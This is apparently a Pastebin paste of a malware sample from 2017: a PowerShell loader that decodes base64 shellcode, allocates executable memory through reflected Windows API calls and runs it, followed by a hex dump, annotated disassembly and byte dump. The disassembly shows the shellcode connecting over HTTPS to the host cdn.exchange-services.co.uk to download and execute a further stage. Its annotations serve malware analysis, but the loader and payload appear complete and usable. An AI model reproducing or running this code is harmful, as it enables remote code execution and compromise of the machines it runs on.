API tools faq
paste
James_inthe_box

Script

James_inthe_box
Oct 27th, 2017
669
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.74 KB | None | 0 0
raw download clone embed print report
  1. Set-StrictMode -Version 2
  2.  
  3. $DoIt = @'
  4. function func_get_proc_address {
  5. Param ($var_module, $var_procedure)
  6. $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  7.  
  8. return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
  9. }
  10.  
  11. function func_get_delegate_type {
  12. Param (
  13. [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
  14. [Parameter(Position = 1)] [Type] $var_return_type = [Void]
  15. )
  16.  
  17. $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  18. $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
  19. $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
  20.  
  21. return $var_type_builder.CreateType()
  22. }
  23.  
  24. [Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L0V2UVAARqp8Hbe+wB+05IXFAc3kyQYXcCwLop/hPcvO9HtImArYTFjPS3PfiU1sHT2HQI5pP8VuKnqUkDCe12FLAATLvJOhRKGzRhbHgwBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC81LjApDQoAOkRx+lUO575mmad5GrYVHds/0Cld804vhMF8LY3OvFbwm1sXEyZIOgv0hQ8E+oIvUK9YI035XXahLfgzo5H7gIkw4Jw9wm5ZypUKneBWKraGGZpsUEDB45T4Ay/bNr6obuscgrqUy3UIBq9MRzJRsbmqigTl/tjUTS65hZptqXEcvZ1rs4zA0kOhrzgghtt1ewxgVYpAFNlM9RpG1WYy1cqVH+7lrBmiwyIfG272WuHbqon7EzHZAyMt2EOymo8YIsrHLpsn2PD++RilxyR50sWHSADK5NfNO8wAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//2Nkbi5leGNoYW5nZS1zZXJ2aWNlcy5jby51awAKiWa9")
  25.  
  26. $var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40)
  27. [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
  28.  
  29. $var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)
  30. [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null
  31. '@
  32.  
  33. If ([IntPtr]::size -eq 8) {
  34. start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
  35. }
  36. else {
  37. IEX $DoIt
  38. }
  39.  
  40. shellcode:
  41. Hex dump: fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 e8 00 00 00 00 31 ff 57 57 57 57 57 68 3a 56 79 a7 ff d5 e9 a4 00 00 00 5b 31 c9 51 51 6a 03 51 51 68 bb 01 00 00 53 50 68 57 89 9f c6 ff d5 50 e9 8c 00 00 00 5b 31 d2 52 68 00 32 a0 84 52 52 52 53 52 50 68 eb 55 2e 3b ff d5 89 c6 83 c3 50 68 80 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 ff d5 5f 31 ff 57 57 6a ff 53 56 68 2d 06 18 7b ff d5 85 c0 0f 84 ca 01 00 00 31 ff 85 f6 74 04 89 f9 eb 09 68 aa c5 e2 5d ff d5 89 c1 68 45 21 5e 31 ff d5 31 ff 57 6a 07 51 56 50 68 b7 57 e0 0b ff d5 bf 00 2f 00 00 39 c7 75 07 58 50 e9 7b ff ff ff 31 ff e9 91 01 00 00 e9 c9 01 00 00 e8 6f ff ff ff 2f 45 76 51 50 00 46 aa 7c 1d b7 be c0 1f b4 e4 85 c5 01 cd e4 c9 06 17 70 2c 0b a2 9f e1 3d cb ce f4 7b 48 98 0a d8 4c 58 cf 4b 73 df 89 4d 6c 1d 3d 87 40 8e 69 3f c5 6e 2a 7a 94 90 30 9e d7 61 4b 00 04 cb bc 93 a1 44 a1 b3 46 16 c7 83 00 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 39 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 4f 57 36 34 3b 20 54 72 69 64 65 6e 74 2f 35 2e 30 29 0d 0a 00 3a 44 71 fa 55 0e e7 be 66 99 a7 79 1a b6 15 1d db 3f d0 29 5d f3 4e 2f 84 c1 7c 2d 8d ce bc 56 f0 9b 5b 17 13 26 48 3a 0b f4 85 0f 04 fa 82 2f 50 af 58 23 4d f9 5d 76 a1 2d f8 33 a3 91 fb 80 89 30 e0 9c 3d c2 6e 59 ca 95 0a 9d e0 56 2a b6 86 19 9a 6c 50 40 c1 e3 94 f8 03 2f db 36 be a8 6e eb 1c 82 ba 94 cb 75 08 06 af 4c 47 32 51 b1 b9 aa 8a 04 e5 fe d8 d4 4d 2e b9 85 9a 6d a9 71 1c bd 9d 6b b3 8c c0 d2 43 a1 af 38 20 86 db 75 7b 0c 60 55 8a 40 14 d9 4c f5 1a 46 d5 66 32 d5 ca 95 1f ee e5 ac 19 a2 c3 22 1f 1b 6e f6 5a e1 db aa 89 fb 13 31 d9 03 23 2d d8 43 b2 9a 8f 18 22 ca c7 2e 9b 27 d8 f0 fe f9 18 a5 c7 24 79 d2 c5 87 48 00 ca e4 d7 cd 3b cc 00 68 f0 b5 a2 56 ff d5 6a 40 68 00 10 00 00 68 00 00 40 00 57 68 58 a4 53 e5 ff d5 93 b9 00 00 00 00 01 d9 51 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 c6 8b 07 01 c3 85 c0 75 e5 58 c3 e8 89 fd ff ff 63 64 6e 2e 65 78 63 68 61 6e 67 65 2d 73 65 72 76 69 63 65 73 2e 63 6f 2e 75 6b 00 0a 89 66 bd
  42. 0x00000000 fc cld
  43. 0x00000001 e889000000 call 0x0000008f
  44. 0x00000006 60 pushad
  45. 0x00000007 89e5 mov ebp,esp
  46. 0x00000009 31d2 xor edx,edx
  47. 0x0000000b 648b5230 fs: mov edx,dword [edx + 48]
  48. 0x0000000f 8b520c mov edx,dword [edx + 12]
  49. 0x00000012 8b5214 mov edx,dword [edx + 20]
  50. 0x00000015 8b7228 mov esi,dword [edx + 40]
  51. 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
  52. 0x0000001c 31ff xor edi,edi
  53. 0x0000001e 31c0 xor eax,eax
  54. 0x00000020 ac lodsb
  55. 0x00000021 3c61 cmp al,97
  56. 0x00000023 7c02 jl 0x00000027
  57. 0x00000025 2c20 sub al,32
  58. 0x00000027 c1cf0d ror edi,13
  59. 0x0000002a 01c7 add edi,eax
  60. 0x0000002c e2f0 loop 0x0000001e
  61. 0x0000002e 52 push edx
  62. 0x0000002f 57 push edi
  63. 0x00000030 8b5210 mov edx,dword [edx + 16]
  64. 0x00000033 8b423c mov eax,dword [edx + 60]
  65. 0x00000036 01d0 add eax,edx
  66. 0x00000038 8b4078 mov eax,dword [eax + 120]
  67. 0x0000003b 85c0 test eax,eax
  68. 0x0000003d 744a jz 0x00000089
  69. 0x0000003f 01d0 add eax,edx
  70. 0x00000041 50 push eax
  71. 0x00000042 8b4818 mov ecx,dword [eax + 24]
  72. 0x00000045 8b5820 mov ebx,dword [eax + 32]
  73. 0x00000048 01d3 add ebx,edx
  74. 0x0000004a e33c jecxz 0x00000088
  75. 0x0000004c 49 dec ecx
  76. 0x0000004d 8b348b mov esi,dword [ebx + ecx * 4]
  77. 0x00000050 01d6 add esi,edx
  78. 0x00000052 31ff xor edi,edi
  79. 0x00000054 31c0 xor eax,eax
  80. 0x00000056 ac lodsb
  81. 0x00000057 c1cf0d ror edi,13
  82. 0x0000005a 01c7 add edi,eax
  83. 0x0000005c 38e0 cmp al,ah
  84. 0x0000005e 75f4 jnz 0x00000054
  85. 0x00000060 037df8 add edi,dword [ebp - 8]
  86. 0x00000063 3b7d24 cmp edi,dword [ebp + 36]
  87. 0x00000066 75e2 jnz 0x0000004a
  88. 0x00000068 58 pop eax
  89. 0x00000069 8b5824 mov ebx,dword [eax + 36]
  90. 0x0000006c 01d3 add ebx,edx
  91. 0x0000006e 668b0c4b mov cx,word [ebx + ecx * 2]
  92. 0x00000072 8b581c mov ebx,dword [eax + 28]
  93. 0x00000075 01d3 add ebx,edx
  94. 0x00000077 8b048b mov eax,dword [ebx + ecx * 4]
  95. 0x0000007a 01d0 add eax,edx
  96. 0x0000007c 89442424 mov dword [esp + 36],eax
  97. 0x00000080 5b pop ebx
  98. 0x00000081 5b pop ebx
  99. 0x00000082 61 popad
  100. 0x00000083 59 pop ecx
  101. 0x00000084 5a pop edx
  102. 0x00000085 51 push ecx
  103. 0x00000086 ffe0 jmp eax
  104. 0x00000088 58 pop eax
  105. 0x00000089 5f pop edi
  106. 0x0000008a 5a pop edx
  107. 0x0000008b 8b12 mov edx,dword [edx]
  108. 0x0000008d eb86 jmp 0x00000015
  109. 0x0000008f 5d pop ebp
  110. 0x00000090 686e657400 push 0x0074656e--> 'ten'
  111. 0x00000095 6877696e69 push 0x696e6977--> 'iniw'
  112. 0x0000009a 54 push esp
  113. 0x0000009b 684c772607 push 0x0726774c--> '&wL'
  114. 0x000000a0 ffd5 call ebp --> kernel32.dll!LoadLibraryA
  115. 0x000000a2 e800000000 call 0x000000a7
  116. 0x000000a7 31ff xor edi,edi
  117. 0x000000a9 57 push edi
  118. 0x000000aa 57 push edi
  119. 0x000000ab 57 push edi
  120. 0x000000ac 57 push edi
  121. 0x000000ad 57 push edi
  122. 0x000000ae 683a5679a7 push 0xa779563a--> 'yV:'
  123. 0x000000b3 ffd5 call ebp --> wininet.dll!InternetOpenA
  124. 0x000000b5 e9a4000000 jmp 0x0000015e
  125. 0x000000ba 5b pop ebx
  126. 0x000000bb 31c9 xor ecx,ecx
  127. 0x000000bd 51 push ecx
  128. 0x000000be 51 push ecx
  129. 0x000000bf 6a03 push 3
  130. 0x000000c1 51 push ecx
  131. 0x000000c2 51 push ecx
  132. 0x000000c3 68bb010000 push 443
  133. 0x000000c8 53 push ebx
  134. 0x000000c9 50 push eax
  135. 0x000000ca 6857899fc6 push 0xc69f8957
  136. 0x000000cf ffd5 call ebp --> wininet.dll!InternetConnectA
  137. 0x000000d1 50 push eax
  138. 0x000000d2 e98c000000 jmp 0x00000163
  139. 0x000000d7 5b pop ebx
  140. 0x000000d8 31d2 xor edx,edx
  141. 0x000000da 52 push edx
  142. 0x000000db 680032a084 push 0x84a03200
  143. 0x000000e0 52 push edx
  144. 0x000000e1 52 push edx
  145. 0x000000e2 52 push edx
  146. 0x000000e3 53 push ebx
  147. 0x000000e4 52 push edx
  148. 0x000000e5 50 push eax
  149. 0x000000e6 68eb552e3b push 0x3b2e55eb--> ';.U'
  150. 0x000000eb ffd5 call ebp --> wininet.dll!HttpOpenRequestA
  151. 0x000000ed 89c6 mov esi,eax
  152. 0x000000ef 83c350 add ebx,80
  153. 0x000000f2 6880330000 push 0x00003380
  154. 0x000000f7 89e0 mov eax,esp
  155. 0x000000f9 6a04 push 4
  156. 0x000000fb 50 push eax
  157. 0x000000fc 6a1f push 31
  158. 0x000000fe 56 push esi
  159. 0x000000ff 6875469e86 push 0x869e4675--> 'Fu'
  160. 0x00000104 ffd5 call ebp --> wininet.dll!InternetSetOptionA
  161. 0x00000106 5f pop edi
  162. 0x00000107 31ff xor edi,edi
  163. 0x00000109 57 push edi
  164. 0x0000010a 57 push edi
  165. 0x0000010b 6aff push 255
  166. 0x0000010d 53 push ebx
  167. 0x0000010e 56 push esi
  168. 0x0000010f 682d06187b push 0x7b18062d--> '{-'
  169. 0x00000114 ffd5 call ebp --> wininet.dll!HttpSendRequestA
  170. 0x00000116 85c0 test eax,eax
  171. 0x00000118 0f84ca010000 jz 0x000002e8
  172. 0x0000011e 31ff xor edi,edi
  173. 0x00000120 85f6 test esi,esi
  174. 0x00000122 7404 jz 0x00000128
  175. 0x00000124 89f9 mov ecx,edi
  176. 0x00000126 eb09 jmp 0x00000131
  177. 0x00000128 68aac5e25d push 0x5de2c5aa
  178. 0x0000012d ffd5 call ebp --> kernel32.dll!GetLastError
  179. 0x0000012f 89c1 mov ecx,eax
  180. 0x00000131 6845215e31 push 0x315e2145--> '1^!E'
  181. 0x00000136 ffd5 call ebp
  182. 0x00000138 31ff xor edi,edi
  183. 0x0000013a 57 push edi
  184. 0x0000013b 6a07 push 7
  185. 0x0000013d 51 push ecx
  186. 0x0000013e 56 push esi
  187. 0x0000013f 50 push eax
  188. 0x00000140 68b757e00b push 0x0be057b7--> '
  189. W'
  190. 0x00000145 ffd5 call ebp --> wininet.dll!InternetErrorDlg
  191. 0x00000147 bf002f0000 mov edi,0x00002f00
  192. 0x0000014c 39c7 cmp edi,eax
  193. 0x0000014e 7507 jnz 0x00000157
  194. 0x00000150 58 pop eax
  195. 0x00000151 50 push eax
  196. 0x00000152 e97bffffff jmp 0x000000d2
  197. 0x00000157 31ff xor edi,edi
  198. 0x00000159 e991010000 jmp 0x000002ef
  199. 0x0000015e e9c9010000 jmp 0x0000032c
  200. 0x00000163 e86fffffff call 0x000000d7
  201. 0x00000168 2f das
  202. 0x00000169 45 inc ebp
  203. 0x0000016a 7651 jbe 0x000001bd
  204. 0x0000016c 50 push eax
  205. 0x0000016d 0046aa add byte [esi - 86],al
  206. 0x00000170 7c1d jl 0x0000018f
  207. 0x00000172 b7be mov bh,190
  208. 0x00000174 c01fb4 rcr byte [edi],180
  209. 0x00000177 e485 in al,133
  210. 0x00000179 c501 lds eax, [ecx]
  211. 0x0000017b cde4 int 228
  212. 0x0000017d c9 leave
  213. 0x0000017e 06 push es
  214. 0x0000017f 17 pop ss
  215. 0x00000180 702c jo 0x000001ae
  216. 0x00000182 0ba29fe13dcb or esp,dword [edx - 885136993]
  217. 0x00000188 ce into
  218. 0x00000189 f4 hlt
  219. 0x0000018a 7b48 jpo 0x000001d4
  220. 0x0000018c 98 cwde
  221. 0x0000018d 0ad8 or bl,al
  222. 0x0000018f 4c dec esp
  223. 0x00000190 58 pop eax
  224. 0x00000191 cf iret
  225. 0x00000192 4b dec ebx
  226. 0x00000193 73df jnc 0x00000174
  227. 0x00000195 894d6c mov dword [ebp + 108],ecx
  228. 0x00000198 1d3d87408e sbb eax,0x8e40873d
  229. 0x0000019d 693fc56e2a7a imul edi,dword [edi],0x7a2a6ec5
  230. 0x000001a3 94 xchg eax,esp
  231. 0x000001a4 90 nop
  232. 0x000001a5 309ed7614b00 xor byte [esi + 4940247],bl
  233. 0x000001ab 04cb add al,203
  234. 0x000001ad bc93a144a1 mov esp,0xa144a193
  235. 0x000001b2 b346 mov bl,70
  236. 0x000001b4 16 push ss
  237. 0x000001b5 c78300557365722d4167 mov dword [ebx + 1702057216],0x67412d72--> 'gA-r'
  238. 0x000001bf 656e gs: outsb edx,byte [esi]
  239. 0x000001c1 743a jz 0x000001fd
  240. 0x000001c3 204d6f and byte [ebp + 111],cl
  241. 0x000001c6 7a69 jpe 0x00000231
  242. 0x000001c8 6c insb byte [esi],edx
  243. 0x000001c9 6c insb byte [esi],edx
  244. 0x000001ca 61 popad
  245. 0x000001cb 2f das
  246. 0x000001cc 352e302028 xor eax,0x2820302e
  247. 0x000001d1 636f6d arpl word [edi + 109],bp
  248. 0x000001d4 7061 jo 0x00000237
  249. 0x000001d6 7469 jz 0x00000241
  250. 0x000001d8 626c653b bound ebp,dword [ebp + 59]
  251. 0x000001dc 204d53 and byte [ebp + 83],cl
  252. 0x000001df 49 dec ecx
  253. 0x000001e0 45 inc ebp
  254. 0x000001e1 2039 and byte [ecx],bh
  255. 0x000001e3 2e303b cs: xor byte [ebx],bh
  256. 0x000001e6 205769 and byte [edi + 105],dl
  257. 0x000001e9 6e outsb edx,byte [esi]
  258. 0x000001ea 646f fs: outsd edx,dword [esi]
  259. 0x000001ec 7773 ja 0x00000261
  260. 0x000001ee 204e54 and byte [esi + 84],cl
  261. 0x000001f1 2036 and byte [esi],dh
  262. 0x000001f3 2e313b cs: xor dword [ebx],edi
  263. 0x000001f6 20574f and byte [edi + 79],dl
  264. 0x000001f9 57 push edi
  265. 0x000001fa 36343b ss: xor al,59
  266. 0x000001fd 20547269 and byte [edx + esi * 2 + 105],dl
  267. 0x00000201 64656e fsgs: outsb edx,byte [esi]
  268. 0x00000204 742f jz 0x00000235
  269. 0x00000206 352e30290d xor eax,0x0d29302e
  270. 0x0000020b 0a00 or al,byte [eax]
  271. 0x0000020d 3a4471fa cmp al,byte [ecx + esi * 2 - 6]
  272. 0x00000211 55 push ebp
  273. 0x00000212 0e push cs
  274. 0x00000213 e7be out 190,eax
  275. 0x00000215 6699 cdq
  276. 0x00000217 a7 cmpsd
  277. 0x00000218 791a jns 0x00000234
  278. 0x0000021a b615 mov dh,21
  279. 0x0000021c 1ddb3fd029 sbb eax,0x29d03fdb
  280. 0x00000221 5d pop ebp
  281. 0x00000222 f34e rep: dec esi
  282. 0x00000224 2f das
  283. 0x00000225 84c1 test cl,al
  284. 0x00000227 7c2d jl 0x00000256
  285. 0x00000229 8dce lea ecx,esi
  286. 0x0000022b bc56f09b5b mov esp,0x5b9bf056--> '[V'
  287. 0x00000230 17 pop ss
  288. 0x00000231 1326 adc esp,dword [esi]
  289. 0x00000233 48 dec eax
  290. 0x00000234 3a0b cmp cl,byte [ebx]
  291. 0x00000236 f4 hlt
  292. 0x00000237 850f test dword [edi],ecx
  293. 0x00000239 04fa add al,250
  294. 0x0000023b 822f50 sub byte [edi],80
  295. 0x0000023e af scasd
  296. 0x0000023f 58 pop eax
  297. 0x00000240 234df9 and ecx,dword [ebp - 7]
  298. 0x00000243 5d pop ebp
  299. 0x00000244 76a1 jbe 0x000001e7
  300. 0x00000246 2df833a391 sub eax,0x91a333f8
  301. 0x0000024b fb sti
  302. 0x0000024c 808930e09c3dc2 or byte [ecx + 1033691184],194
  303. 0x00000253 6e outsb edx,byte [esi]
  304. 0x00000254 59 pop ecx
  305. 0x00000255 ca950a retf 2709
  306. 0x00000258 9d popfd
  307. 0x00000259 e056 loopnz 0x000002b1
  308. 0x0000025b 2ab686199a6c sub dh,byte [esi + 1822038406]
  309. 0x00000261 50 push eax
  310. 0x00000262 40 inc eax
  311. 0x00000263 c1e394 shl ebx,148
  312. 0x00000266 f8 clc
  313. 0x00000267 032f add ebp,dword [edi]
  314.  
  315. Byte Dump:
  316. ......`..1.d.R0.R.R..r(..J&1.1..<a|.,......RW.R..B<[email protected]...<I.4...1.1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..X_Z....]hnet.hwiniThLw&........1.WWWWWh:Vy........[1.QQj.QQh....SPhW.....P.....[1.Rh.2..RRRSRPh.U.;......Ph.3....j.Pj.VhuF...._1.WWj.SVh-..{..........1...t....h...]....hE!^1..1.Wj.QVPh.W...../..9.u.XP.{...1............o.../EvQP.F.|...............p,...=...{[email protected]?.n*z..0..aK......D..F....User-Agent:Mozilla/5.0(compatible;MSIE9.0;WindowsNT6.1;WOW64;Trident/5.0).:Dq.U...f..y.....?.)].N/..|-...V..[..&H:....../P.X#M.]v.-.3.....0..=.nY....V*....lP@...../.6..n......u...LG2Q.........M....m.q...k....C..8..u{`[email protected].........."..n.Z......1..#-.C...."....'.......$y...H.....;[email protected]..@.WhX.S...........QS..Wh...SVh........t.......u.X......cdn.exchange-services.co.uk..f.
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!